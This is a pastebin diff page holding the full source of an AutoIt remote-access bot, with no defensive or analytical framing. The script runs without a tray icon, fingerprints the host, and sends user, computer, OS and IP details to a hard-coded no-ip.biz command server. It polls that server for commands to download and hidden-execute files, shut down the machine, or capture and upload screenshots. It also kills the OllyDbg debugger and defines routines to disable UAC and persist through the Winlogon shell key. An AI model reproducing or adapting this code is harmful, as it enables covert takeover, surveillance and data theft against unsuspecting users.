View difference between Paste ID: TWhuAQbk and 5nRswagi

 #NoTrayIcon
 ;#RequireAdmin
 #include <File.au3>
 #include <Misc.au3>
 #include <string.au3>
 #include <crypt.au3>
 #include <ScreenCapture.au3>
 
 ;Mutex
 ;------
 
 ;Singleton("7563545689855477")
 
 ;HWID
 ;------
 
 Global $hwid = id()
 
 ;disable uac
 ;------
 
 if IsAdmin() Then
     ;_Disable_UAC()
 EndIf
 
 ;SETTING VARIABLES
 ;------
 $mainHome      =             "http://jlibs8080.no-ip.biz"    ;main domain
 $mainDir      =             "/bnt2/"
 $upshot      = $mainHome & $mainDir &    "u.php"            ;path to upload file
 $serverHome     = $mainHome & $mainDir &    "s.php"            ;path to server file
 $cmdDir      = $mainHome & $mainDir &    "dir.php"            ;path to commandDir file
 
 ;------above = url[/]------below = local path[\]------
 $subDir      = "\n0625d6982e9krf824\"
 $filei      = "\jhgr78.log"            ;update log - make random VIA builder
 
 ;------
 $interv      = 5
 $counter      = $interv * 1000 * 60            ;15 minutes
 ;------
 
 $timeInit = TimerInit()
 Global $result
 Global $ip     = @IPAddress1
 ;Do On Start Up
 ;------
 
 ;FileMove(@ScriptFullPath, @TempDir & $subDir &  "hvn.exe", 9)
 
 if(FileExists(@TempDir & $subDir) <> 1) Then
    DirCreate(@TempDir & $subDir)
 EndIf
 
 ;$reg = RegWrite('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', @ScriptName, 'REG_SZ', @TempDir & $subDir & 'hvn.exe')
 ;_Run(@ScriptFullPath)
 
 ;Anti Debugger
 ;------
 
 $process = "OLLYDBG.EXE"
 
 If ProcessExists($process) Then
    ProcessClose($process)
 EndIf
 
 ;Initial update
 ;------
 
 _Update($filei)
 
 ;UPDATE
 ;------
 While 1
    While 1
 
       $updateTime = TimerDiff($timeInit)
 
       if $updateTime > $counter Then
       ;ConsoleWrite("test")
       ;$command     = InetRead($cmdDir,1)
       $Command      = _Update($filei)
 
       if $command == "-1" Or StringLeft($command,3)  == "<br" Then
 
       $interv     = Random(5,30,1)
       $counter     = $interv * 1000 * 60
       $timeInit     = TimerInit()
       ExitLoop
 
       EndIf
 
       $process    = BinaryToString($command)
       $comS      = StringSplit($process,"|")
       $uComs     = UBound($comS) - 1
       Global $commandVal[$uComs+1][10]
 
       for $j = 1 to $uComs
 
       $cMas     = StringSplit($comS[$j],",")
       $uCmas = UBound($cMas) - 1
 
       for $l = 1 to $uCmas
 
             $commandVal[$j][$l] = $cMas[$l]
 
       Next
       Next
 
       $uCommandVal = UBound($commandVal)-1
 
       for $j = 1 to $uCommandVal
 
       Switch $commandval[$j][1]
 
             Case 1
 
              _DlnEx($commandval[$j][2],$commandval[$j][3],1,1,$commandval[$j][4]) ;DL n EX
 
             Case 2
 
              _DlnEx($commandval[$j][2],$commandval[$j][3],1) ;DL
 
             Case 3
 
              _DlnEx("",$commandval[$j][3],0,1,$commandval[$j][4])
 
             Case 4
 
              ;haha($commandval[$j][1])
              Shutdown(6)
 
             Case 5
 
              $scrnName = Random(12,999999,1) & ".jpg"
              _ScreenCapture_Capture(@ScriptDir & "\" & $scrnName)
              ScrnUp($scrnName)
              FileDelete(@ScriptDir & "\" & "*.jpg")
 
       EndSwitch
 
       Next
 
       ;//////---end of update---//////
       ;reset time
       ;------
 
       ;$interv     = Random(5,30,1)
       ;$counter     = $interv * 1000 * 60
       Sleep(500)
       $timeInit = TimerInit()
       EndIf
 
       Sleep(50)
 
    WEnd
 WEnd
 ;//////---Functions---//////
 
 ;------
 ;HWID
 
 func id()
    $disc = StringLeft(@SystemDir, 3)
    $start = "0" & @CPUArch & @KBLayout & DriveGetSerial("C:\") & StringUpper(DriveGetType($disc)) & DriveSpaceTotal ($disc)
    $hwid1  = StringMid($start, Round(StringLen($start)/2), Round(StringLen($start)/2))
    $hwid2 = _StringToHex(stringReverse($hwid1))
    $final = $start & $hwid2
    $start = _Crypt_HashData($Final,$CALG_MD5)
    $epicFinal = StringMid($start,1,8)  & ":" &  StringMid($start,8,16)
 
    Return StringSplit($epicFinal, ":")
 EndFunc
 
 ;------
 ;MUTEX
 
 Func Singleton($semaphore)
     Local $ERROR_ALREADY_EXISTS = 183
     DllCall("kernel32.dll", "int", "CreateSemaphore", "int", 0, "long", 1, "long", 1, "str", $semaphore)
     Local $lastError = DllCall("kernel32.dll", "int", "GetLastError")
     If $lastError[0] = $ERROR_ALREADY_EXISTS Then Exit -1
 EndFunc
 
 ;------
 ;Disable UAC
 
 Func _Disable_UAC()
     If @OSArch = "X64" Then
       $pref = "64"
     Else
       $pref = ""
     EndIf
     $r1 = RegWrite("HKLM" & $pref & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" ,"ConsentPromptBehaviorAdmin", "REG_DWORD", "0")
     $r2 = RegWrite("HKLM" & $pref & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" ,"EnableLUA", "REG_DWORD", "0")
     Sleep(500)
     If $r1 + $r2 = 2 Then
       Return True
     Else
       Return False
     EndIf
 EndFunc
 
 ;------
 ;StartUp
 
 Func _run($file, $type = 1)
    $ret = False
    $arun = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell")
    if StringInStr($arun, @ScriptName) = 0 Then
       $name = @ScriptName
       FileCopy($file, @WindowsDir & "\" & $name, 1)
       $ret = RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "REG_SZ", $arun & "," & $name)
    EndIf
    Return $ret
 EndFunc
 
 ;------
 ;update
 
 Func _Update($updateFile)
 
 Global $ip     = @IPAddress1
 $compName     = @ComputerName
 $os      = @OSVersion
 $userName     = @UserName
 $Name      = $hWID[1]
 $password    = $hwid[2]
 
 $memStats = MemGetStats()
 
 _FileWriteLog(@TempDir & $updateFile, "Percent memery usage - " & $memStats[0] & " # ")
 
 $infoz     = FileOpen(@TempDir & $updateFile)
 $infozz = FileRead($infoz)
 
 $serverdata = '&username=' & $name & '&password=' & $password & '&os=' & $os & '&oigh=' & $infozz & '&ip=' & $ip & '&name=' & $userName & '&compName=' & $compName
 $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
 $oHTTP.Open("POST", $serverHome, False)
 $oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
 $oHTTP.Send($serverdata)
 $oReceived = $oHTTP.ResponseText
 FileClose($infoz)
 
 ConsoleWrite($oReceived & @CRLF)
 
 FileDelete(@TempDir & $updateFile)
 Return $oReceived
 ;Exit
 EndFunc
 
 ;------
 ;DL n EX
 
 Func _DlnEx($DlURL="",$DlFileName="",$DwnL = 0,$DlnEx = 0,$exeParams="")
 
    $result = ""
 
       If $Dwnl == 1 Then
       $dlget = InetGet($DlURL,@TempDir & $subDir & $DlFileName)
       InetClose($dlget)
 
       If $dlget <> 0 Then
       $result &= "dl-succ-" & $DlFileName
       Else
       $result &= "dl-error-fail-" & $DlFileName
       EndIf
       EndIf
 
       If $DlnEx == 1 Then
 
       ShellExecute($DlFileName,$exeParams,@TempDir & $subDir,"open",@SW_HIDE)
       Sleep(500)
 
       $dlNexPrcExs = ProcessExists($DlFileName)
 
       If $dlNexPrcExs <> 0 Then
       $result &= "-exe-true-" & $DlFileName & "-pid=" & $dlNexPrcExs & "-"
       Else
       $result &= "-exe-FAIL-To-Start-" & $DlFileName
       EndIf
 
       EndIf
 
    _FileWriteLog(@TempDir & $filei, $result)
 
 EndFunc
 
 ;------
 ;upload scrnshot
 
 Func ScrnUp($scrnFile)
 
 Local $picOpen      = FileOpen(@ScriptDir & "\" & $scrnFile,16)
 Local $picRead      = FileRead($picOpen)
 Local $boundary     = "a65h7a"             & @CRLF
 Local $boundary2     = "--" & $boundary
 Local $binary      = "Content-Transfer-Encoding: binary"     & @CRLF
 local $typeCon      = "Content-Type: txt/html"             & @CRLF & @CRLF
 
 Local $postData = $boundary2
 
       $postData &= 'Content-Disposition: form-data; name="file[]"; filename="' & $hwid[2] & '"' & @CRLF
       $postData &= $typeCon
       $postData &= $picRead & @CRLF
       $postData &= "--a65h7a--";End of HTTP HEADER
 
 $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
 $oHTTP.Open("POST", $upshot, False)
 $oHTTP.SetRequestHeader("Content-Type", "multipart/form-data; boundary=" & $boundary)
 $oHTTP.Send($postData)
 $oReceived = $oHTTP.ResponseText
 
 FileClose($picOpen)
 
 EndFunc
 ;------
 ;debug Purpuses
 func haha($var)
 
 ConsoleWrite("haha it worked" & @CRLF)
 ConsoleWrite($var & @CRLF)
 
 EndFunc